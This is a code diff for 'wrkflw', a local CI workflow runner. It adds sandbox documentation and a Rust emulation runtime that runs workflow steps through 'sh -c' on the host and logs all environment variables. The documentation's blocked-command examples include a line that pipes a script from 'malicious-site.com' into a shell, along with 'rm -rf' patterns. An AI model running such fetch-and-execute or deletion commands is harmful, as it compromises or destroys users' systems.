+### ⚠️ Legacy Emulation Mode (Unsafe)
+
+The original emulation mode executes commands directly on the host system without any sandboxing. **This mode will be deprecated and should only be used for trusted workflows.**
+
+```bash
+# Legacy unsafe mode (not recommended)
+wrkflw run --runtime emulation .github/workflows/build.yml
+```
+
+## Example: Blocked vs Allowed Commands
+
+### ❌ Blocked Commands
+
+```yaml
+# This workflow will be blocked in secure emulation mode
+steps:
+  - name: Dangerous command
+    run: rm -rf /tmp/*  # BLOCKED: Dangerous file deletion
+
+  - name: System modification
+    run: sudo apt-get install package  # BLOCKED: sudo usage
+
+  - name: Network access
+    run: wget https://malicious-site.com/script.sh | sh  # BLOCKED: wget + shell execution
+```
+
+### ✅ Allowed Commands
+
+```yaml
+# This workflow will run successfully in secure emulation mode
+steps:
+  - name: Build project
+    run: cargo build --release  # ALLOWED: Development tool
+
+  - name: Run tests
+    run: cargo test  # ALLOWED: Testing
+
+  - name: List files
+    run: ls -la target/  # ALLOWED: Safe file listing
+
+  - name: Format code
+    run: cargo fmt --check  # ALLOWED: Code formatting
+```
+
+## Security Warnings and Messages
+
+When dangerous commands are detected, wrkflw provides clear security messages:
+
+```
+🚫 SECURITY BLOCK: Command 'rm' is not allowed in secure emulation mode.
+This command was blocked for security reasons.
+If you need to run this command, please use Docker or Podman mode instead.
+```
+
+```
+🚫 SECURITY BLOCK: Dangerous command pattern detected: 'rm -rf /'.
+This command was blocked because it matches a known dangerous pattern.
+Please review your workflow for potentially harmful commands.
+```
+
+## Configuration Examples
+
+### Workflow-Friendly Configuration
+
+```rust
+use wrkflw_runtime::sandbox::create_workflow_sandbox_config;
+
+let config = create_workflow_sandbox_config();
+// - Allows network access for package downloads
+// - Higher resource limits for CI/CD workloads
+// - Less strict mode for development flexibility
+```
+
+### Strict Security Configuration
+
+```rust
+use wrkflw_runtime::sandbox::create_strict_sandbox_config;
+
+let config = create_strict_sandbox_config();
+// - No network access
+// - Very limited command set
+// - Low resource limits
+// - Strict whitelist-only mode
+```
+
+### Custom Configuration
+
+```rust
+use wrkflw_runtime::sandbox::{SandboxConfig, Sandbox};
+use std::collections::HashSet;
+use std::path::PathBuf;
+
+let mut config = SandboxConfig::default();
+
+// Custom allowed commands
+config.allowed_commands = ["echo", "ls", "cargo"]
+    .iter()
+    .map(|s| s.to_string())
+    .collect();
+
+// Custom resource limits
+config.max_execution_time = Duration::from_secs(60);
+config.max_memory_mb = 256;
+
+// Custom allowed paths
+config.allowed_write_paths.insert(PathBuf::from("./target"));
+config.allowed_read_paths.insert(PathBuf::from("./src"));
+
+let sandbox = Sandbox::new(config)?;
+```
+
+## Migration Guide
+
+### From Unsafe Emulation to Secure Emulation
+
+1. **Change Runtime Flag**:
+   ```bash
+   # Old (unsafe)
+   wrkflw run --runtime emulation workflow.yml
+   
+   # New (secure)
+   wrkflw run --runtime secure-emulation workflow.yml
+   ```
+
+2. **Review Workflow Commands**: Check for any commands that might be blocked and adjust if necessary.
+
+3. **Handle Security Blocks**: If legitimate commands are blocked, consider:
+   - Using Docker/Podman mode for those specific workflows
+   - Modifying the workflow to use allowed alternatives
+   - Creating a custom sandbox configuration
+
+### When to Use Each Mode
+
+| Use Case | Recommended Mode | Reason |
+|----------|------------------|---------|
+| Local development | Secure Emulation | Good balance of security and convenience |
+| Untrusted workflows | Docker/Podman | Maximum isolation |
+| CI/CD pipelines | Docker/Podman | Consistent, reproducible environment |
+| Testing workflows | Secure Emulation | Fast execution with safety |
+| Trusted internal workflows | Secure Emulation | Sufficient security for known-safe code |
+
+## Troubleshooting
+
+### Command Blocked Error
+
+If you encounter a security block:
+
+1. **Check if the command is necessary**: Can you achieve the same result with an allowed command?
+2. **Use container mode**: Switch to Docker or Podman mode for unrestricted execution
+3. **Modify the workflow**: Use safer alternatives where possible
+
+### Resource Limit Exceeded
+
+If your workflow hits resource limits:
+
+1. **Optimize the workflow**: Reduce resource usage where possible
+2. **Use custom configuration**: Increase limits for specific use cases
+3. **Use container mode**: For resource-intensive workflows
+
+### Path Access Denied
+
+If file access is denied:
+
+1. **Check allowed paths**: Ensure your workflow only accesses permitted directories
+2. **Use relative paths**: Work within the project directory
+3. **Use container mode**: For workflows requiring system-wide file access
+
+## Best Practices
+
+1. **Default to Secure Mode**: Use secure emulation mode by default for local development
+2. **Test Workflows**: Always test workflows in secure mode before deploying
+3. **Review Security Messages**: Pay attention to security blocks and warnings
+4. **Use Containers for Production**: Use Docker/Podman for production deployments
+5. **Regular Updates**: Keep wrkflw updated for the latest security improvements
+
+## Security Considerations
+
+- Secure emulation mode is designed to prevent **accidental** harmful commands, not to stop **determined** attackers
+- For maximum security with untrusted code, always use container modes
+- The sandbox is most effective against script errors and typos that could damage your system
+- Always review workflows from untrusted sources before execution
+
+## Contributing Security Improvements
+
+If you find security issues or have suggestions for improvements:
+
+1. **Report Security Issues**: Use responsible disclosure for security vulnerabilities
+2. **Suggest Command Patterns**: Help improve dangerous pattern detection
+3. **Test Edge Cases**: Help us identify bypass techniques
+4. **Documentation**: Improve security documentation and examples
+
+---
+
+For more information, see the main [README.md](../../README.md) and [Security Policy](../../SECURITY.md).

crates/runtime/src/container.rs

@@ -15,8 +15,16 @@ pub trait ContainerRuntime {
     async fn pull_image(&self, image: &str) -> Result<(), ContainerError>;
 
     async fn build_image(&self, dockerfile: &Path, tag: &str) -> Result<(), ContainerError>;
+
+    async fn prepare_language_environment(
+        &self,
+        language: &str,
+        version: Option<&str>,
+        additional_packages: Option<Vec<String>>,
+    ) -> Result<String, ContainerError>;
 }
 
+#[derive(Debug)]
 pub struct ContainerOutput {
     pub stdout: String,
     pub stderr: String,

crates/runtime/src/emulation.rs

@@ -0,0 +1,887 @@
+use crate::container::{ContainerError, ContainerOutput, ContainerRuntime};
+use async_trait::async_trait;
+use once_cell::sync::Lazy;
+use std::collections::HashMap;
+use std::fs;
+use std::path::{Path, PathBuf};
+use std::process::Command;
+use std::sync::Mutex;
+use tempfile::TempDir;
+use which;
+use wrkflw_logging;
+
+use ignore::{gitignore::GitignoreBuilder, Match};
+
+// Global collection of resources to clean up
+static EMULATION_WORKSPACES: Lazy<Mutex<Vec<PathBuf>>> = Lazy::new(|| Mutex::new(Vec::new()));
+static EMULATION_PROCESSES: Lazy<Mutex<Vec<u32>>> = Lazy::new(|| Mutex::new(Vec::new()));
+
+pub struct EmulationRuntime {
+    #[allow(dead_code)]
+    workspace: TempDir,
+}
+
+impl Default for EmulationRuntime {
+    fn default() -> Self {
+        Self::new()
+    }
+}
+
+impl EmulationRuntime {
+    pub fn new() -> Self {
+        // Create a temporary workspace to simulate container isolation
+        let workspace =
+            tempfile::tempdir().expect("Failed to create temporary workspace for emulation");
+
+        // Track this workspace for cleanup
+        if let Ok(mut workspaces) = EMULATION_WORKSPACES.lock() {
+            workspaces.push(workspace.path().to_path_buf());
+        }
+
+        EmulationRuntime { workspace }
+    }
+
+    #[allow(dead_code)]
+    fn prepare_workspace(&self, _working_dir: &Path, volumes: &[(&Path, &Path)]) -> PathBuf {
+        // Get the container root - this is the emulation workspace directory
+        let container_root = self.workspace.path().to_path_buf();
+
+        // Make sure we have a github/workspace subdirectory which is where
+        // commands will be executed
+        let github_workspace = container_root.join("github").join("workspace");
+        fs::create_dir_all(&github_workspace)
+            .expect("Failed to create github/workspace directory structure");
+
+        // Map all volumes
+        for (host_path, container_path) in volumes {
+            // Determine target path - if it starts with /github/workspace, it goes to our workspace dir
+            let target_path = if container_path.starts_with("/github/workspace") {
+                // Map /github/workspace to our github_workspace directory
+                let rel_path = container_path
+                    .strip_prefix("/github/workspace")
+                    .unwrap_or(Path::new(""));
+                github_workspace.join(rel_path)
+            } else if container_path.starts_with("/") {
+                // Other absolute paths go under container_root
+                container_root.join(container_path.strip_prefix("/").unwrap_or(container_path))
+            } else {
+                // Relative paths go directly under container_root
+                container_root.join(container_path)
+            };
+
+            // Create parent directories
+            if let Some(parent) = target_path.parent() {
+                fs::create_dir_all(parent).expect("Failed to create directory structure");
+            }
+
+            // For directories, copy content recursively
+            if host_path.is_dir() {
+                // If the host path is the project root and container path is the workspace,
+                // we want to copy all project files to the github/workspace directory
+                if *container_path == Path::new("/github/workspace") {
+                    // Use a recursive copy function to copy all files and directories
+                    copy_directory_contents(host_path, &github_workspace)
+                        .expect("Failed to copy project files to workspace");
+                } else {
+                    // Create the target directory
+                    fs::create_dir_all(&target_path).expect("Failed to create target directory");
+
+                    // Copy files in this directory (not recursive for simplicity)
+                    for entry in fs::read_dir(host_path)
+                        .expect("Failed to read source directory")
+                        .flatten()
+                    {
+                        let source = entry.path();
+                        let file_name = match source.file_name() {
+                            Some(name) => name,
+                            None => {
+                                eprintln!(
+                                    "Warning: Could not get file name from path: {:?}",
+                                    source
+                                );
+                                continue; // Skip this file
+                            }
+                        };
+                        let dest = target_path.join(file_name);
+
+                        if source.is_file() {
+                            if let Err(e) = fs::copy(&source, &dest) {
+                                eprintln!(
+                                    "Warning: Failed to copy file from {:?} to {:?}: {}",
+                                    &source, &dest, e
+                                );
+                            }
+                        } else {
+                            // We could make this recursive if needed
+                            fs::create_dir_all(&dest).expect("Failed to create subdirectory");
+                        }
+                    }
+                }
+            } else if host_path.is_file() {
+                // Copy individual file
+                let file_name = match host_path.file_name() {
+                    Some(name) => name,
+                    None => {
+                        eprintln!(
+                            "Warning: Could not get file name from path: {:?}",
+                            host_path
+                        );
+                        continue; // Skip this file
+                    }
+                };
+                let dest = target_path.join(file_name);
+                if let Err(e) = fs::copy(host_path, &dest) {
+                    eprintln!(
+                        "Warning: Failed to copy file from {:?} to {:?}: {}",
+                        host_path, &dest, e
+                    );
+                }
+            }
+        }
+
+        // Return the github/workspace directory for command execution
+        github_workspace
+    }
+}
+
+#[async_trait]
+impl ContainerRuntime for EmulationRuntime {
+    async fn run_container(
+        &self,
+        _image: &str,
+        command: &[&str],
+        env_vars: &[(&str, &str)],
+        working_dir: &Path,
+        _volumes: &[(&Path, &Path)],
+    ) -> Result<ContainerOutput, ContainerError> {
+        // Build command string
+        let mut command_str = String::new();
+        for part in command {
+            if !command_str.is_empty() {
+                command_str.push(' ');
+            }
+            command_str.push_str(part);
+        }
+
+        // Log more detailed debugging information
+        wrkflw_logging::info(&format!("Executing command in container: {}", command_str));
+        wrkflw_logging::info(&format!("Working directory: {}", working_dir.display()));
+        wrkflw_logging::info(&format!("Command length: {}", command.len()));
+
+        if command.is_empty() {
+            return Err(ContainerError::ContainerExecution(
+                "Empty command array".to_string(),
+            ));
+        }
+
+        // Print each command part separately for debugging
+        for (i, part) in command.iter().enumerate() {
+            wrkflw_logging::info(&format!("Command part {}: '{}'", i, part));
+        }
+
+        // Log environment variables
+        wrkflw_logging::info("Environment variables:");
+        for (key, value) in env_vars {
+            wrkflw_logging::info(&format!("  {}={}", key, value));
+        }
+
+        // Find actual working directory - determine if we should use the current directory instead
+        let actual_working_dir: PathBuf = if !working_dir.exists() {
+            // Look for GITHUB_WORKSPACE or CI_PROJECT_DIR in env_vars
+            let mut workspace_path = None;
+            for (key, value) in env_vars {
+                if *key == "GITHUB_WORKSPACE" || *key == "CI_PROJECT_DIR" {
+                    workspace_path = Some(PathBuf::from(value));
+                    break;
+                }
+            }
+
+            // If found, use that as the working directory
+            if let Some(path) = workspace_path {
+                if path.exists() {
+                    wrkflw_logging::info(&format!(
+                        "Using environment-defined workspace: {}",
+                        path.display()
+                    ));
+                    path
+                } else {
+                    // Fallback to current directory
+                    let current_dir =
+                        std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."));
+                    wrkflw_logging::info(&format!(
+                        "Using current directory: {}",
+                        current_dir.display()
+                    ));
+                    current_dir
+                }
+            } else {
+                // Fallback to current directory
+                let current_dir = std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."));
+                wrkflw_logging::info(&format!(
+                    "Using current directory: {}",
+                    current_dir.display()
+                ));
+                current_dir
+            }
+        } else {
+            working_dir.to_path_buf()
+        };
+
+        wrkflw_logging::info(&format!(
+            "Using actual working directory: {}",
+            actual_working_dir.display()
+        ));
+
+        // Check if path contains the command (for shell script execution)
+        let command_path = which::which(command[0]);
+        match &command_path {
+            Ok(path) => wrkflw_logging::info(&format!("Found command at: {}", path.display())),
+            Err(e) => wrkflw_logging::error(&format!(
+                "Command not found in PATH: {} - Error: {}",
+                command[0], e
+            )),
+        }
+
+        // First, check if this is a simple shell command (like echo)
+        if command_str.starts_with("echo ")
+            || command_str.starts_with("cp ")
+            || command_str.starts_with("mkdir ")
+            || command_str.starts_with("mv ")
+        {
+            wrkflw_logging::info("Executing as shell command");
+            // Execute as a shell command
+            let mut cmd = Command::new("sh");
+            cmd.arg("-c");
+            cmd.arg(&command_str);
+            cmd.current_dir(&actual_working_dir);
+
+            // Add environment variables
+            for (key, value) in env_vars {
+                cmd.env(key, value);
+            }
+
+            match cmd.output() {
+                Ok(output_result) => {
+                    let exit_code = output_result.status.code().unwrap_or(-1);
+                    let output = String::from_utf8_lossy(&output_result.stdout).to_string();
+                    let error = String::from_utf8_lossy(&output_result.stderr).to_string();
+
+                    wrkflw_logging::debug(&format!(
+                        "Shell command completed with exit code: {}",
+                        exit_code
+                    ));
+
+                    if exit_code != 0 {
+                        let mut error_details = format!(
+                            "Command failed with exit code: {}\nCommand: {}\n\nError output:\n{}",
+                            exit_code, command_str, error
+                        );
+
+                        // Add environment variables to error details
+                        error_details.push_str("\n\nEnvironment variables:\n");
+                        for (key, value) in env_vars {
+                            if key.starts_with("GITHUB_") || key.starts_with("CI_") {
+                                error_details.push_str(&format!("{}={}\n", key, value));
+                            }
+                        }
+
+                        return Err(ContainerError::ContainerExecution(error_details));
+                    }
+
+                    return Ok(ContainerOutput {
+                        stdout: output,
+                        stderr: error,
+                        exit_code,
+                    });
+                }
+                Err(e) => {
+                    return Err(ContainerError::ContainerExecution(format!(
+                        "Failed to execute command: {}\nError: {}",
+                        command_str, e
+                    )));
+                }
+            }
+        }
+
+        // Special handling for Rust/Cargo commands
+        if command_str.starts_with("cargo ") || command_str.starts_with("rustup ") {
+            let parts: Vec<&str> = command_str.split_whitespace().collect();
+            if parts.is_empty() {
+                return Err(ContainerError::ContainerExecution(
+                    "Empty command".to_string(),
+                ));
+            }
+
+            let mut cmd = Command::new(parts[0]);
+
+            // Always use the current directory for cargo/rust commands rather than the temporary directory
+            let current_dir = std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."));
+            wrkflw_logging::info(&format!(
+                "Using project directory for Rust command: {}",
+                current_dir.display()
+            ));
+            cmd.current_dir(&current_dir);
+
+            // Add environment variables
+            for (key, value) in env_vars {
+                // Don't use the CI_PROJECT_DIR for CARGO_HOME, use the actual project directory
+                if *key == "CARGO_HOME" && value.contains("${CI_PROJECT_DIR}") {
+                    let cargo_home =
+                        value.replace("${CI_PROJECT_DIR}", &current_dir.to_string_lossy());
+                    wrkflw_logging::info(&format!("Setting CARGO_HOME to: {}", cargo_home));
+                    cmd.env(key, cargo_home);
+                } else {
+                    cmd.env(key, value);
+                }
+            }
+
+            // Add command arguments
+            if parts.len() > 1 {
+                cmd.args(&parts[1..]);
+            }
+
+            wrkflw_logging::debug(&format!(
+                "Executing Rust command: {} in {}",
+                command_str,
+                current_dir.display()
+            ));
+
+            match cmd.output() {
+                Ok(output_result) => {
+                    let exit_code = output_result.status.code().unwrap_or(-1);
+                    let output = String::from_utf8_lossy(&output_result.stdout).to_string();
+                    let error = String::from_utf8_lossy(&output_result.stderr).to_string();
+
+                    wrkflw_logging::debug(&format!("Command exit code: {}", exit_code));
+
+                    if exit_code != 0 {
+                        let mut error_details = format!(
+                            "Command failed with exit code: {}\nCommand: {}\n\nError output:\n{}",
+                            exit_code, command_str, error
+                        );
+
+                        // Add environment variables to error details
+                        error_details.push_str("\n\nEnvironment variables:\n");
+                        for (key, value) in env_vars {
+                            if key.starts_with("GITHUB_")
+                                || key.starts_with("RUST")
+                                || key.starts_with("CARGO")
+                                || key.starts_with("CI_")
+                            {
+                                error_details.push_str(&format!("{}={}\n", key, value));
+                            }
+                        }
+
+                        return Err(ContainerError::ContainerExecution(error_details));
+                    }
+
+                    return Ok(ContainerOutput {
+                        stdout: output,
+                        stderr: error,
+                        exit_code,
+                    });
+                }
+                Err(e) => {
+                    return Err(ContainerError::ContainerExecution(format!(
+                        "Failed to execute Rust command: {}",
+                        e
+                    )));
+                }
+            }
+        }
+
+        // For other commands, use a shell as fallback
+        let mut cmd = Command::new("sh");
+        cmd.arg("-c");
+        cmd.arg(&command_str);
+        cmd.current_dir(&actual_working_dir);
+
+        // Add environment variables
+        for (key, value) in env_vars {
+            cmd.env(key, value);
+        }
+
+        match cmd.output() {
+            Ok(output_result) => {
+                let exit_code = output_result.status.code().unwrap_or(-1);
+                let output = String::from_utf8_lossy(&output_result.stdout).to_string();
+                let error = String::from_utf8_lossy(&output_result.stderr).to_string();
+
+                wrkflw_logging::debug(&format!("Command completed with exit code: {}", exit_code));
+
+                if exit_code != 0 {
+                    let mut error_details = format!(
+                        "Command failed with exit code: {}\nCommand: {}\n\nError output:\n{}",
+                        exit_code, command_str, error
+                    );
+
+                    // Add environment variables to error details
+                    error_details.push_str("\n\nEnvironment variables:\n");
+                    for (key, value) in env_vars {
+                        if key.starts_with("GITHUB_") || key.starts_with("CI_") {
+                            error_details.push_str(&format!("{}={}\n", key, value));
+                        }
+                    }
+
+                    return Err(ContainerError::ContainerExecution(error_details));
+                }
+
+                Ok(ContainerOutput {
+                    stdout: format!(
+                        "Emulated container execution with command: {}\n\nOutput:\n{}",
+                        command_str, output
+                    ),
+                    stderr: error,
+                    exit_code,
+                })
+            }
+            Err(e) => {
+                return Err(ContainerError::ContainerExecution(format!(
+                    "Failed to execute command: {}\nError: {}",
+                    command_str, e
+                )));
+            }
+        }
+    }
+
+    async fn pull_image(&self, image: &str) -> Result<(), ContainerError> {
+        wrkflw_logging::info(&format!("🔄 Emulation: Pretending to pull image {}", image));
+        Ok(())
+    }
+
+    async fn build_image(&self, dockerfile: &Path, tag: &str) -> Result<(), ContainerError> {
+        wrkflw_logging::info(&format!(
+            "🔄 Emulation: Pretending to build image {} from {}",
+            tag,
+            dockerfile.display()
+        ));
+        Ok(())
+    }
+
+    async fn prepare_language_environment(
+        &self,
+        language: &str,
+        version: Option<&str>,
+        _additional_packages: Option<Vec<String>>,
+    ) -> Result<String, ContainerError> {
+        // For emulation runtime, we'll use a simplified approach
+        // that doesn't require building custom images
+        let base_image = match language {
+            "python" => version.map_or("python:3.11-slim".to_string(), |v| format!("python:{}", v)),
+            "node" => version.map_or("node:20-slim".to_string(), |v| format!("node:{}", v)),
+            "java" => version.map_or("eclipse-temurin:17-jdk".to_string(), |v| {
+                format!("eclipse-temurin:{}", v)
+            }),
+            "go" => version.map_or("golang:1.21-slim".to_string(), |v| format!("golang:{}", v)),
+            "dotnet" => version.map_or("mcr.microsoft.com/dotnet/sdk:7.0".to_string(), |v| {
+                format!("mcr.microsoft.com/dotnet/sdk:{}", v)
+            }),
+            "rust" => version.map_or("rust:latest".to_string(), |v| format!("rust:{}", v)),
+            _ => {
+                return Err(ContainerError::ContainerStart(format!(
+                    "Unsupported language: {}",
+                    language
+                )))
+            }
+        };
+
+        // For emulation, we'll just return the base image
+        // The actual package installation will be handled during container execution
+        Ok(base_image)
+    }
+}
+
+#[allow(dead_code)]
+/// Create a gitignore matcher for the given directory
+fn create_gitignore_matcher(
+    dir: &Path,
+) -> Result<Option<ignore::gitignore::Gitignore>, std::io::Error> {
+    let mut builder = GitignoreBuilder::new(dir);
+
+    // Try to add .gitignore file if it exists
+    let gitignore_path = dir.join(".gitignore");
+    if gitignore_path.exists() {
+        builder.add(&gitignore_path);
+    }
+
+    // Add some common ignore patterns as fallback
+    if let Err(e) = builder.add_line(None, "target/") {
+        wrkflw_logging::warning(&format!("Failed to add default ignore pattern: {}", e));
+    }
+    if let Err(e) = builder.add_line(None, ".git/") {
+        wrkflw_logging::warning(&format!("Failed to add default ignore pattern: {}", e));
+    }
+
+    match builder.build() {
+        Ok(gitignore) => Ok(Some(gitignore)),
+        Err(e) => {
+            wrkflw_logging::warning(&format!("Failed to build gitignore matcher: {}", e));
+            Ok(None)
+        }
+    }
+}
+
+fn copy_directory_contents(source: &Path, dest: &Path) -> std::io::Result<()> {
+    copy_directory_contents_with_gitignore(source, dest, None)
+}
+
+fn copy_directory_contents_with_gitignore(
+    source: &Path,
+    dest: &Path,
+    gitignore: Option<&ignore::gitignore::Gitignore>,
+) -> std::io::Result<()> {
+    // Create the destination directory if it doesn't exist
+    fs::create_dir_all(dest)?;
+
+    // If no gitignore provided, try to create one for the root directory
+    let root_gitignore;
+    let gitignore = if gitignore.is_none() {
+        root_gitignore = create_gitignore_matcher(source)?;
+        root_gitignore.as_ref()
+    } else {
+        gitignore
+    };
+
+    // Iterate through all entries in the source directory
+    for entry in fs::read_dir(source)? {
+        let entry = entry?;
+        let path = entry.path();
+
+        // Check if the file should be ignored according to .gitignore
+        if let Some(gitignore) = gitignore {
+            let relative_path = path.strip_prefix(source).unwrap_or(&path);
+            match gitignore.matched(relative_path, path.is_dir()) {
+                Match::Ignore(_) => {
+                    wrkflw_logging::debug(&format!("Skipping ignored file/directory: {path:?}"));
+                    continue;
+                }
+                Match::Whitelist(_) | Match::None => {
+                    // File is not ignored or explicitly whitelisted
+                }
+            }
+        }
+
+        let file_name = match path.file_name() {
+            Some(name) => name,
+            None => {
+                eprintln!("Warning: Could not get file name from path: {:?}", path);
+                continue; // Skip this file
+            }
+        };
+        let dest_path = dest.join(file_name);
+
+        // Skip most hidden files but allow important ones
+        let file_name_str = file_name.to_string_lossy();
+        if file_name_str.starts_with(".")
+            && file_name_str != ".gitignore"
+            && file_name_str != ".github"
+            && !file_name_str.starts_with(".env")
+        {
+            continue;
+        }
+
+        if path.is_dir() {
+            // Recursively copy subdirectories with the same gitignore
+            copy_directory_contents_with_gitignore(&path, &dest_path, gitignore)?;
+        } else {
+            // Copy files
+            fs::copy(&path, &dest_path)?;
+        }
+    }
+
+    Ok(())
+}
+
+pub async fn handle_special_action(action: &str) -> Result<(), ContainerError> {
+    // Extract owner, repo and version from the action
+    let action_parts: Vec<&str> = action.split('@').collect();
+    let action_name = action_parts[0];
+    let action_version = if action_parts.len() > 1 {
+        action_parts[1]
+    } else {
+        "latest"
+    };
+
+    wrkflw_logging::info(&format!(
+        "🔄 Processing action: {} @ {}",
+        action_name, action_version
+    ));
+
+    // Handle specific known actions with special requirements
+    if action.starts_with("cachix/install-nix-action") {
+        wrkflw_logging::info("🔄 Emulating cachix/install-nix-action");
+
+        // In emulation mode, check if nix is installed
+        let nix_installed = Command::new("which")
+            .arg("nix")
+            .output()
+            .map(|output| output.status.success())
+            .unwrap_or(false);
+
+        if !nix_installed {
+            wrkflw_logging::info("🔄 Emulation: Nix is required but not installed.");
+            wrkflw_logging::info(
+                "🔄 To use this workflow, please install Nix: https://nixos.org/download.html",
+            );
+            wrkflw_logging::info("🔄 Continuing emulation, but nix commands will fail.");
+        } else {
+            wrkflw_logging::info("🔄 Emulation: Using system-installed Nix");
+        }
+    } else if action.starts_with("actions-rs/cargo@") {
+        // For actions-rs/cargo action, ensure Rust is available
+        wrkflw_logging::info(&format!("🔄 Detected Rust cargo action: {}", action));
+
+        // Verify Rust/cargo is installed
+        check_command_available("cargo", "Rust/Cargo", "https://rustup.rs/");
+    } else if action.starts_with("actions-rs/toolchain@") {
+        // For actions-rs/toolchain action, check for Rust installation
+        wrkflw_logging::info(&format!("🔄 Detected Rust toolchain action: {}", action));
+
+        check_command_available("rustc", "Rust", "https://rustup.rs/");
+    } else if action.starts_with("actions-rs/fmt@") {
+        // For actions-rs/fmt action, check if rustfmt is available
+        wrkflw_logging::info(&format!("🔄 Detected Rust formatter action: {}", action));
+
+        check_command_available("rustfmt", "rustfmt", "rustup component add rustfmt");
+    } else if action.starts_with("dtolnay/rust-toolchain@") {
+        // For dtolnay/rust-toolchain action, check for Rust installation
+        wrkflw_logging::info(&format!(
+            "🔄 Detected dtolnay Rust toolchain action: {}",
+            action
+        ));
+
+        check_command_available("rustc", "Rust", "https://rustup.rs/");
+        check_command_available("cargo", "Cargo", "https://rustup.rs/");
+    } else if action.starts_with("actions/setup-node@") {
+        // Node.js setup action
+        wrkflw_logging::info(&format!("🔄 Detected Node.js setup action: {}", action));
+
+        check_command_available("node", "Node.js", "https://nodejs.org/");
+    } else if action.starts_with("actions/setup-python@") {
+        // Python setup action
+        wrkflw_logging::info(&format!("🔄 Detected Python setup action: {}", action));
+
+        check_command_available("python", "Python", "https://www.python.org/downloads/");
+    } else if action.starts_with("actions/setup-java@") {
+        // Java setup action
+        wrkflw_logging::info(&format!("🔄 Detected Java setup action: {}", action));
+
+        check_command_available("java", "Java", "https://adoptium.net/");
+    } else if action.starts_with("actions/checkout@") {
+        // Git checkout action - this is handled implicitly by our workspace setup
+        wrkflw_logging::info("🔄 Detected checkout action - workspace files are already prepared");
+    } else if action.starts_with("actions/cache@") {
+        // Cache action - can't really emulate caching effectively
+        wrkflw_logging::info(
+            "🔄 Detected cache action - caching is not fully supported in emulation mode",
+        );
+    } else {
+        // Generic action we don't have special handling for
+        wrkflw_logging::info(&format!(
+            "🔄 Action '{}' has no special handling in emulation mode",
+            action_name
+        ));
+    }
+
+    // Always return success - the actual command execution will happen in execute_step
+    Ok(())
+}
+
+// Helper function to check if a command is available on the system
+fn check_command_available(command: &str, name: &str, install_url: &str) {
+    let is_available = Command::new("which")
+        .arg(command)
+        .output()
+        .map(|output| output.status.success())
+        .unwrap_or(false);
+
+    if !is_available {
+        wrkflw_logging::warning(&format!("{} is required but not found on the system", name));
+        wrkflw_logging::info(&format!(
+            "To use this action, please install {}: {}",
+            name, install_url
+        ));
+        wrkflw_logging::info(&format!(
+            "Continuing emulation, but {} commands will fail",
+            name
+        ));
+    } else {
+        // Try to get version information
+        if let Ok(output) = Command::new(command).arg("--version").output() {
+            if output.status.success() {
+                let version = String::from_utf8_lossy(&output.stdout);
+                wrkflw_logging::info(&format!("🔄 Using system {}: {}", name, version.trim()));
+            }
+        }
+    }
+}
+
+// Add a function to help set up appropriate environment variables for different actions
+#[allow(dead_code)]
+fn add_action_env_vars(
+    env_map: &mut HashMap<String, String>,
+    action: &str,
+    with_params: &Option<HashMap<String, String>>,
+) {
+    if let Some(params) = with_params {
+        if action.starts_with("actions/setup-node") {
+            // For Node.js actions, add NODE_VERSION
+            if let Some(version) = params.get("node-version") {
+                env_map.insert("NODE_VERSION".to_string(), version.clone());
+            }
+
+            // Set NPM/Yarn paths if needed
+            env_map.insert(
+                "NPM_CONFIG_PREFIX".to_string(),
+                "/tmp/.npm-global".to_string(),
+            );
+            env_map.insert("PATH".to_string(), "/tmp/.npm-global/bin:$PATH".to_string());
+        } else if action.starts_with("actions/setup-python") {
+            // For Python actions, add PYTHON_VERSION
+            if let Some(version) = params.get("python-version") {
+                env_map.insert("PYTHON_VERSION".to_string(), version.clone());
+            }
+
+            // Set pip cache directories
+            env_map.insert("PIP_CACHE_DIR".to_string(), "/tmp/.pip-cache".to_string());
+        } else if action.starts_with("actions/setup-java") {
+            // For Java actions, add JAVA_VERSION
+            if let Some(version) = params.get("java-version") {
+                env_map.insert("JAVA_VERSION".to_string(), version.clone());
+            }
+
+            // Set JAVA_HOME
+            env_map.insert(
+                "JAVA_HOME".to_string(),
+                "/usr/lib/jvm/default-java".to_string(),
+            );
+        }
+    }
+}
+
+// Function to clean up emulation resources
+pub async fn cleanup_resources() {
+    cleanup_processes().await;
+    cleanup_workspaces().await;
+}
+
+// Clean up any tracked processes
+async fn cleanup_processes() {
+    let processes_to_cleanup = {
+        if let Ok(processes) = EMULATION_PROCESSES.lock() {
+            processes.clone()
+        } else {
+            vec![]
+        }
+    };
+
+    for pid in processes_to_cleanup {
+        wrkflw_logging::info(&format!("Cleaning up emulated process: {}", pid));
+
+        #[cfg(unix)]
+        {
+            // On Unix-like systems, use kill command
+            let _ = Command::new("kill")
+                .arg("-TERM")
+                .arg(pid.to_string())
+                .output();
+        }
+
+        #[cfg(windows)]
+        {
+            // On Windows, use taskkill
+            let _ = Command::new("taskkill")
+                .arg("/F")
+                .arg("/PID")
+                .arg(pid.to_string())
+                .output();
+        }
+
+        // Remove from tracking
+        if let Ok(mut processes) = EMULATION_PROCESSES.lock() {
+            processes.retain(|p| *p != pid);
+        }
+    }
+}
+
+// Clean up any tracked workspaces
+async fn cleanup_workspaces() {
+    let workspaces_to_cleanup = {
+        if let Ok(workspaces) = EMULATION_WORKSPACES.lock() {
+            workspaces.clone()
+        } else {
+            vec![]
+        }
+    };
+
+    for workspace_path in workspaces_to_cleanup {
+        wrkflw_logging::info(&format!(
+            "Cleaning up emulation workspace: {}",
+            workspace_path.display()
+        ));
+
+        // Only attempt to remove if it exists
+        if workspace_path.exists() {
+            match fs::remove_dir_all(&workspace_path) {
+                Ok(_) => wrkflw_logging::info("Successfully removed workspace directory"),
+                Err(e) => wrkflw_logging::error(&format!("Error removing workspace: {}", e)),
+            }
+        }
+
+        // Remove from tracking
+        if let Ok(mut workspaces) = EMULATION_WORKSPACES.lock() {
+            workspaces.retain(|w| *w != workspace_path);
+        }
+    }
+}
+
+// Add process to tracking
+#[allow(dead_code)]
+pub fn track_process(pid: u32) {
+    if let Ok(mut processes) = EMULATION_PROCESSES.lock() {
+        processes.push(pid);
+    }
+}
+
+// Remove process from tracking
+#[allow(dead_code)]
+pub fn untrack_process(pid: u32) {
+    if let Ok(mut processes) = EMULATION_PROCESSES.lock() {
+        processes.retain(|p| *p != pid);
+    }
+}
+
+// Track additional workspace paths if needed
+#[allow(dead_code)]
+pub fn track_workspace(path: &Path) {
+    if let Ok(mut workspaces) = EMULATION_WORKSPACES.lock() {
